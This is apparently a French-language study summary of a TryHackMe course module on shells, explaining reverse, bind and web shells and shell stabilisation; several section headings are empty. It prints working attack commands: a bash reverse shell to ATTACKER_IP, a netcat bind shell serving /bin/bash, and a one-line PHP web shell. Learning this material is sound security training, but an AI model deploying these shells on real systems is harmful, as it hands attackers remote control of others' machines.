Spaghetih

🐚 Vue d’ensemble des Shells 🐚

Ce document est une synthĂšse du module Shells Overview de TryHackMe, rĂ©digĂ©e en français. Il couvre les diffĂ©rents types de shells utilisĂ©s en sĂ©curitĂ© offensive, leurs diffĂ©rences et leurs cas d’utilisation.


🎯 Objectifs d’apprentissage


📚 PrĂ©requis


🐚 Qu’est-ce qu’un Shell ?

Un shell est un logiciel qui permet Ă  un utilisateur d’interagir avec un systĂšme d’exploitation. Il peut s’agir d’une interface graphique, mais il s’agit gĂ©nĂ©ralement d’une interface en ligne de commande.

En cybersĂ©curitĂ©, un shell fait rĂ©fĂ©rence Ă  une session spĂ©cifique qu’un attaquant utilise lorsqu’il accĂšde Ă  un systĂšme compromis, lui permettant d’exĂ©cuter des commandes et des logiciels.


🔄 Shell InversĂ© (Reverse Shell)

Un shell inversĂ©, parfois appelĂ© “connect back shell”, est l’une des techniques les plus populaires pour obtenir un accĂšs Ă  un systĂšme lors de cyberattaques. Les connexions sont initiĂ©es depuis le systĂšme cible vers la machine de l’attaquant, ce qui peut aider Ă  Ă©viter la dĂ©tection par les pare-feu et autres dispositifs de sĂ©curitĂ© rĂ©seau.

đŸ› ïž Configuration d’un Ă©couteur Netcat (nc)

Pour comprendre comment fonctionne un shell inversĂ©, utilisons l’outil Netcat. Cet utilitaire prend en charge plusieurs systĂšmes d’exploitation et permet la lecture et l’écriture via un rĂ©seau.

Comme mentionnĂ© prĂ©cĂ©demment, un shell inversĂ© se connectera Ă  la machine de l’attaquant. Cette machine attendra une connexion, donc utilisons Netcat pour Ă©couter une connexion en utilisant la commande suivante :

nc -lvnp 443

Sur la machine cible, une commande typique pour établir un shell inversé pourrait ressembler à ceci :

bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1

🔗 Shell LiĂ© (Bind Shell)

Un shell liĂ© est une technique oĂč la machine cible Ă©coute sur un port spĂ©cifique, attendant une connexion entrante de l’attaquant. Contrairement au shell inversĂ©, c’est l’attaquant qui initie la connexion vers la machine cible.

đŸ› ïž Configuration d’un shell liĂ© avec Netcat

Sur la machine cible, pour Ă©couter sur un port spĂ©cifique et exĂ©cuter un shell, la commande pourrait ĂȘtre :

nc -lvnp 4444 -e /bin/bash

Ensuite, sur la machine de l’attaquant, pour se connecter au shell liĂ© :

nc TARGET_IP 4444

🌐 Web Shells

Un web shell est un script malveillant tĂ©lĂ©chargĂ© sur un serveur web, permettant Ă  un attaquant d’exĂ©cuter des commandes sur le serveur via une interface web. Ils sont souvent Ă©crits en PHP, ASP ou d’autres langages de script cĂŽtĂ© serveur.

đŸ› ïž Exemple de web shell PHP simple

<?php system($_GET['cmd']); ?>

En accĂ©dant Ă  ce script via un navigateur avec une URL comme http://target.com/shell.php?cmd=whoami, l’attaquant peut exĂ©cuter des commandes sur le serveur.


đŸ›Ąïž Stabilisation des Shells

Les shells obtenus via des connexions rĂ©seau peuvent ĂȘtre instables ou limitĂ©s. Voici quelques techniques pour stabiliser une session shell :

python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
rlwrap nc -lvnp 443

🧰 Outils et Payloads Communs


🧠 Concepts ClĂ©s